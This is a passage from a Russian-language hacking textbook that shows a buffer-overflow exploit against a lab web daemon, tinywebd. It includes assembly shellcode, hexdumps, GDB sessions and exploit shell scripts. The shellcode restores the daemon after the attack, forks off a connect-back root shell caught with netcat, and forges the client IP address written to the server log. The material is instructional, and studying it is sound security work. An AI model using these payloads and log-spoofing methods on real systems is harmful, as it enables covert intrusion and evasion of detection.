0x8048fb7 : jmp 0x8048f65
(gdb) break *0x8048fb2
Breakpoint 1 at 0x8048fb2: file tinywebd.c, line 72.
(gdb) cont
Continuing.
Как видим, точка останова задана прямо перед вызовом handle_connec- tion()
(выделен полужирным). Затем на другом терминале с помощью скрипта эксплойта посылается новый шелл-код. В результате на дру- гом терминале выполнение остановится в точке останова.
reader@hacking:
/booksrc $ nasm mark_break.s reader@hacking:
/booksrc $ ./xtool_tinywebd.sh mark_break 127.0.0.1
target IP: 127.0.0.1
shellcode: mark_break (44 bytes)
[NOP (372 bytes)] [shellcode (44 bytes)] [ret addr (128 bytes)]
localhost [127.0.0.1] 80 (www) open reader@hacking:
/booksrc $
3840x600 Противодействие
В терминале с отладчиком выполнение останавливается на первой точ- ке останова.
Выводится содержимое важных регистров стека, показы- вающих его состояние до и после вызова handle_connection(). Далее про- должается выполнение программы до команды int3 в шелл-коде, дей- ствующей как прерывание. Снова проверяется содержимое регистров стека в момент начала выполнения шелл-кода.
Breakpoint 1, 0x08048fb2 in main () at tinywebd.c:72 72 handle_connection(new_sockfd, &client_addr, logfd);
(gdb) i r esp ebx ebp esp 0xbffff7e0 0xbffff7e0
ebx 0xb7fd5ff4 -1208131596
ebp 0xbffff848 0xbffff848
(gdb) cont
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff753 in ?? ()
(gdb) i r esp ebx ebp esp 0xbffff7e0 0xbffff7e0
ebx 0x6 6
ebp 0xbffff624 0xbffff624
(gdb)
Этот вывод показывает, что в момент начала выполнения шелл-кода значения EBX и EBP изменились. Однако если посмотреть на дизас- семблированные инструкции main(), то выясняется, что EBX факти- чески не используется. Вероятно, компилятор сохранил этот регистр в стеке, чтобы выполнить какие-то соглашения по вызову, хотя он и не используется. Зато EBP используется интенсивно, потому что это базо- вый адрес всех локальных переменных в стеке. Так как первоначаль- но сохраненное значение EBP было затерто эксплойтом, его нужно вос- становить. Восстановив исходное значение EBP, шелл-код должен сде- лать свое грязное дело и вернуться в main(), как обычно. Поскольку компьютеры – детерминированные машины, инструкции ассемблера четко покажут нам, как все это сделать.
(gdb) set dis intel
(gdb) x/5i main
0x8048d93
: push ebp
0x8048d94 : mov ebp,esp
0x8048d96 : sub esp,0x68 0x8048d99 : and esp,0xfffffff0 0x8048d9c : mov eax,0x0
(gdb) x/5i main+533 0x8048fa8 : mov DWORD PTR [esp+4],eax
0x8048fac : mov eax,DWORD PTR [ebp-12]
0x8048faf : mov DWORD PTR [esp],eax
0x8048fb2 : call 0x8048fb9
0x8048fb7 : jmp 0x8048f65
(gdb)
0x650 Пропуск очевидного
385
Беглый взгляд на пролог функции main() показывает, что EBP должен быть на 0x68 байт больше, чем ESP. Поскольку ESP нашим эксплой- том не поврежден, можно восстановить значение EBP, прибавив 0x68 к ESP в конце шелл-кода. После восстановления правильного значе- ния EBP выполнение программы можно вернуть в цикл приема соеди- нений. Правильным адресом возврата будет адрес 0x08048fb7 команды, следующей за вызовом handle_connection(). Эта техника использована в следующем шелл-коде.
mark_restore.s
BITS 32
; Отметить в файловой системе, что этот код выполнялся.
jmp short one two:
pop ebx ; Имя файла xor ecx, ecx mov BYTE [ebx+7], cl ; Null - конец имени файла push BYTE 0x5 ; Open()
pop eax mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT
xor edx, edx mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR
int 0x80 ; Открыть создаваемый файл.
; eax = - возвращаемый дескриптор файла mov ebx, eax ; Дескриптор файла – во второй аргумент push BYTE 0x6 ; Close()
pop eax int 0x80 ; Закрыть файл.
lea ebp, [esp+0x68] ; Восстановить EBP.
push 0x08048fb7 ; Адрес возврата.
ret ; Возврат one:
call two db “/HackedX”
После ассемблирования и применения в эксплойте этот шелл-код сде- лает отметку в файловой системе и восстановит работу демона tinyweb.
Демон tinyweb даже ничего не заметит.
reader@hacking:/booksrc $ nasm mark_restore.s reader@hacking:/booksrc $ hexdump -C mark_restore
00000000 eb 26 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.&[1.K.j.Xf.A.1|
00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 8d 6c |.f....j.X..l|
00000020 24 68 68 b7 8f 04 08 c3 e8 d5 ff ff ff 2f 48 61 |$hh...../Ha|
00000030 63 6b 65 64 58 |ckedX|
00000035
reader@hacking:/booksrc $ sudo rm /Hacked reader@hacking:/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:/booksrc $ ./xtool_tinywebd_steath.sh mark_restore 127.0.0.1
3860x600 Противодействие target IP: 127.0.0.1
shellcode: mark_restore (53 bytes)
fake request: “GET / HTTP/1.1\x00” (15 bytes)
[Fake Request (15 b)] [NOP (348 b)] [shellcode (53 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ ls -l /Hacked
-rw------- 1 root reader 0 2007-09-19 20:37 /Hacked reader@hacking:/booksrc $ ps aux | grep tinywebd root 26787 0.0 0.0 1636 420 ? Ss 20:37 0:00 ./tinywebd reader 26828 0.0 0.0 2880 748 pts/1 R+ 20:38 0:00 grep tinywebd reader@hacking:/booksrc $ ./webserver_id 127.0.0.1
The web server for 127.0.0.1 is Tiny webserver reader@hacking:/booksrc $
0x653 Детский трудРазобравшись со сложностями, мы теперь можем незаметно запустить оболочку root. Так как оболочка интерактивна, а мы хотим, чтобы про- цесс по-прежнему обрабатывал запросы Сети, нужно породить дочер- ний процесс. Вызов fork() создает дочерний процесс,
являющийся точ- ной копией родительского, за исключением того что он возвращает 0 в дочернем процессе и ID нового процесса – в родительском. Мы хотим разветвить наш шелл-код, чтобы дочерний процесс предоставил обо- лочку root, а родительский процесс восстановил выполнение
tinywebd.
Следующий шелл-код представляет собой
loopback_shell.s, в начало ко- торого добавлено несколько команд. Сначала выполняется системный вызов fork, и возвращаемое им значение помещается в регистр EAX.
Следующие несколько команд проверяют значение EAX. Если EAX равен нулю, переходим на метку child_process и запускаем оболочку.
В противном случае мы находимся в родительском процессе и должны восстановить работу
tinywebd.
loopback_shell_restore.sBITS 32
push BYTE 0x02 ; fork - это системный вызов 2
pop eax int 0x80 ; В дочернем процессе после ветвления eax == 0.
test eax, eax jz child_process ; В дочернем процессе - запустить оболочку.
; В родительском процессе - восстановить tinywebd.
lea ebp, [esp+0x68] ; Восстановить EBP.
push 0x08048fb7 ; Адрес возврата.
ret ; Возврат.
child_process:
; s = socket(2, 1, 0)
push BYTE 0x66 ; Вызов сокетов – системный вызов 102 (0x66)
0x650 Пропуск очевидного
387 pop eax cdq ; Обнулить edx для использования как нулевого DWORD.
xor ebx, ebx ; ebx содержит тип вызова сокетов.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Построить массив: { protocol = 0,
push BYTE 0x1 ; (в обратном порядке) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = указатель на массив аргументов int 0x80 ; После системного вызова в eax дескриптор файла сокета.
.: [ Дальше код совпадает с loopback_shell.s] :.
Следующий листинг показывает, как работает этот код. Вместо не- скольких терминалов теперь выполняется несколько заданий, и
netcat с ожиданием соединения отправляется в фоновый режим путем до- бавления в конце команды амперсанда (&). После того как
оболочка осущест вит обратное соединение, команда fg переведет приемник на пе- редний план. Затем процесс приостанавливается нажатием Ctrl-Z для возвращения в оболочку BASH. Возможно, вам было бы проще открыть несколько терминалов, но полезно уметь управлять заданиями, потому что возможность открывать несколько терминалов есть не всегда.
reader@hacking:/booksrc $ nasm loopback_shell_restore.s reader@hacking:/booksrc $ hexdump -C loopback_shell_restore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X..t.l$hh.|
00000010 04 08 c3 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 |..jfX.1.CRj.j.|
00000020 e1 cd 80 96 6a 66 58 43 68 7f bb bb 01 66 89 54 |..jfXCh..f.T|
00000030 24 01 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 |$.fhzifS.j.QV.|
00000040 43 cd 80 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 |C...I.?.Iy.|
00000050 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 |.Rh//shh/bin.R.|
00000060 e2 53 89 e1 cd 80 |.S..|
00000066
reader@hacking:/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:/booksrc $ nc -l -p 31337 &
[1] 27279
reader@hacking:/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell_restore
127.0.0.1
target IP: 127.0.0.1
shellcode: loopback_shell_restore (102 bytes)
fake request: “GET / HTTP/1.1\x00” (15 bytes)
[Fake Request (15 b)] [NOP (299 b)] [shellcode (102 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ fg nc -l -p 31337
whoami root
[1]+ Stopped nc -l -p 31337
reader@hacking:/booksrc $ ./webserver_id 127.0.0.1
The web server for 127.0.0.1 is Tiny webserver reader@hacking:/booksrc $ fg
3880x600 Противодействие nc -l -p 31337
whoami root
При использовании этого шелл-кода оболочка root с обратным соеди- нением поддерживается в отдельном дочернем процессе, в то время как родительский процесс продолжает выдавать веб-контент.
0x660 Усиленные меры маскировкиНаш теперешний скрытый эксплойт маскирует только веб-запрос, но
IP-адрес и метка времени по-прежнему заносятся в журнал. Такие ата- ки трудно обнаруживать, но невидимыми их считать нельзя. Если ваш
IP-адрес занесен в журнал, где он
может храниться долгие годы, это чревато неприятностями в будущем. Раз уж мы стали возиться с на- чинкой демона
tinyweb, нужно постараться получше скрыть свое при- сутствие.
0x661 Подделка регистрируемого IP-адресаIP-адрес, который заносится в журнал, берется из client_addr_ptr, пе- редаваемого функции handle_connection().
Сегмент кода из tinywebd.cvoid handle_connection(int sockfd, struct sockaddr_in
*client_addr_ptr, int logfd) {
unsigned char *ptr, request[500], resource[500], log_buffer[500];
int fd, length;
length = recv_line(sockfd, request);
sprintf(log_buffer, “From %s:%d \”%s\”\t”, inet_ntoa(
client_addr_ptr->sin_addr),ntohs(
client_addr_ptr->sin_port), request);
Чтобы подделать IP-адрес, нужно внедрить собственную структуру sockaddr_in и записать ее адрес в client_addr_ptr. Проще всего подгото- вить внедряемую структуру sockaddr_in, если написать маленькую про- грамму на C, которая создает эту структуру и делает ее дамп. Следу- ющий код строит структуру с помощью аргументов командной стро- ки, а потом выводит ее прямо в дескриптор файла 1, который является стандартным устройством вывода.
addr_struct.c#include
#include
#include
#include
int main(int argc, char *argv[]) {
0x660 Усиленные меры маскировки
389
struct sockaddr_in addr;
if(argc != 3) {
printf(“Usage: %s \n”, argv[0]);
exit(0);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[2]));
addr.sin_addr.s_addr = inet_addr(argv[1]);
write(1, &addr, sizeof(struct sockaddr_in));
}
С помощью этой программы можно внедрять структуру sockaddr_in. Ре- зультат компиляции и выполнения этой программы:
reader@hacking:/booksrc $ gcc -o addr_struct addr_struct.c reader@hacking:/booksrc $ ./addr_struct 12.34.56.78 9090
##
“8N_reader@hacking:/booksrc $
reader@hacking:/booksrc $ ./addr_struct 12.34.56.78 9090 | hexdump -C
00000000 02 00 23 82 0c 22 38 4e 00 00 00 00 f4 5f fd b7 |.#.”8N..._.|
00000010
reader@hacking:/booksrc $
Чтобы включить эту структуру в наш эксплойт, ее следует поместить в буфер после фиктивного запроса, но перед NOP-цепочкой. Длина за- проса 15 байт, а буфер начинается с адреса 0xbffff5c0, поэтому фальши- вый адрес будет введен по адресу 0xbfffff5cf.
reader@hacking:/booksrc $ grep 0x xtool_tinywebd_steath.sh
RETADDR=”\x24\xf6\xff\xbf” # at +100 bytes from buffer @ 0xbffff5c0
reader@hacking:/booksrc $ gdb -q -batch -ex “p /x 0xbffff5c0 + 15”
$1 = 0xbffff5cf reader@hacking:/booksrc $
Так как client_addr_ptr передается вторым аргументом функции, он будет находиться в стеке через два двойных слова после адреса возвра- та. Следующий скрипт эксплойта внедряет структуру с фальшивым адресом и заменяет им client_addr_ptr.
xtool_tinywebd_spoof.sh
#!/bin/sh
# Инструмент скрытого эксплойта с подделкой IP для tinywebd
SPOOFIP=”12.34.56.78”
SPOOFPORT=”9090”
if [ -z “$2” ]; then # Если аргумент 2 пуст echo “Usage: $0 ”
exit fi
FAKEREQUEST=”GET / HTTP/1.1\x00”
3900x600 Противодействие
FR_SIZE=$(perl -e “print \”$FAKEREQUEST\”” | wc -c | cut -f1 -d ‘ ‘)
OFFSET=540
RETADDR=”\x24\xf6\xff\xbf” # Через +100 байт от буфера @ 0xbffff5c0
FAKEADDR=”\xcf\xf5\xff\xbf” # Через +15 байт от буфера @ 0xbffff5c0
echo “target IP: $2”
SIZE=`wc -c $1 | cut -f1 -d ‘ ‘`
echo “shellcode: $1 ($SIZE bytes)”
echo “fake request: \”$FAKEREQUEST\” ($FR_SIZE bytes)”
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))
echo “[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE]
[shellcode $SIZE] [retaddr 128] [*fake_addr 8]”
(perl -e “print \”$FAKEREQUEST\””;
./addr_struct “$SPOOFIP” “$SPOOFPORT”;
perl -e “print \”\x90\”x$ALIGNED_SLED_SIZE”;
cat $1;
perl -e “print \”$RETADDR\”x32 . \”$FAKEADDR\”x2 . \”\r\n\””) | nc -w 1 -v
$2 80
Лучше
всего разбираться в том, что делает этот эксплойт, подключив- шись к
tinywebd из GDB. Ниже показано, как GDB подключается к вы- полняющемуся процессу
tinywebd, задаются точки останова перед пе- реполнением и генерируется IP-адрес для буфера регистрации.
reader@hacking:/booksrc $ ps aux | grep tinywebd root 27264 0.0 0.0 1636 420 ? Ss 20:47 0:00 ./tinywebd reader 30648 0.0 0.0 2880 748 pts/2 R+ 22:29 0:00 grep tinywebd reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ sudo gdb -q–pid=27264 --symbols=./a.out warning: not using untrusted file “/home/reader/.gdbinit”
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
Attaching to process 27264
/cow/home/reader/booksrc/tinywebd: No such file or directory.
A program is being debugged already. Kill it? (y or n) n
Program not killed.
(gdb) list handle_connection
77 /* Эта функция обрабатывает соединение на заданном сокете
78 * от заданного адреса клиента и регистрирует в журнале с заданным
79 * дескриптором файла. Соединение обрабатывается как веб-запрос,
80 * и функция отвечает через сокет соединения. В конце работы функции
81 переданный сокет закрывается.*/
82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_
ptr, int logfd) {
83 unsigned char *ptr, request[500], resource[500], log_buffer[500];
84 int fd, length;
85 86 length = recv_line(sockfd, request);
(gdb)
87 88 sprintf(log_buffer, “From %s:%d \”%s\”\t”, inet_ntoa(client_addr_
ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
0x660 Усиленные меры маскировки
391
89 90 ptr = strstr(request, “ HTTP/”); // Поиск корректного запроса.
91 if(ptr == NULL) { // Это некорректный HTTP.
92 strcat(log_buffer, “ NOT HTTP!\n”);
93 } else {
94 *ptr = 0; // Записать конец строки в конце URL.
95 ptr = NULL; // Записать NULL в ptr (сигнализирует
// о некорректном запросе).
96 if(strncmp(request, “GET “, 4) == 0) // Запрос GET (gdb) break 86
Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.
(gdb) break 89
Breakpoint 2 at 0x8049028: file tinywebd.c, line 89.
(gdb) cont
Continuing.
Затем с другого терминала выполняется новый эксплойт с подделкой адреса, что подталкивает выполнение в отладчике.
reader@hacking:/booksrc $ ./xtool_tinywebd_spoof.sh mark_restore 127.0.0.1
target IP: 127.0.0.1
shellcode: mark_restore (53 bytes)
fake request: “GET / HTTP/1.1\x00” (15 bytes)
[Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128]
[*fake_addr 8]
localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $
Снова терминал отладчика: остановка в первой точке останова.
Breakpoint 1, handle_connection (sockfd=9, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86 86 length = recv_line(sockfd, request);
(gdb) bt
#0 handle_connection (sockfd=9, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86
#1 0x08048fb7 in main () at tinywebd.c:72
(gdb) print client_addr_ptr
$1 = (struct sockaddr_in *) 0xbffff810
(gdb) print *client_addr_ptr
$2 = {sin_family = 2, sin_port = 15284, sin_addr = {s_addr = 16777343},
sin_zero = “\000\000\000\000\000\000\000”}
(gdb) x/x &client_addr_ptr
0xbffff7e4: 0xbffff810
(gdb) x/24x request + 500 0xbffff7b4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624 0xbffff7c4: 0xbffff624 0xbffff624 0x0804b030 0xbffff624 0xbffff7d4: 0x00000009 0xbffff848 0x08048fb7 0x00000009
0xbffff7e4: 0xbffff810
0x00000003 0xbffff838 0x00000004 0xbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000 0xbffff804: 0x0804a8c0 0xbffff818 0x00000010 0x3bb40002
(gdb) cont
Continuing.
3920x600 Противодействие
Breakpoint 2, handle_connection (sockfd=-1073744433, client_addr_
ptr=0xbffff5cf, logfd=2560) at tinywebd.c:90 90 ptr = strstr(request, “ HTTP/”); // Поиск корректного запроса.
(gdb) x/24x request + 500 0xbffff7b4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624 0xbffff7c4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624 0xbffff7d4: 0xbffff624 0xbffff624 0xbffff624 0xbffff5cf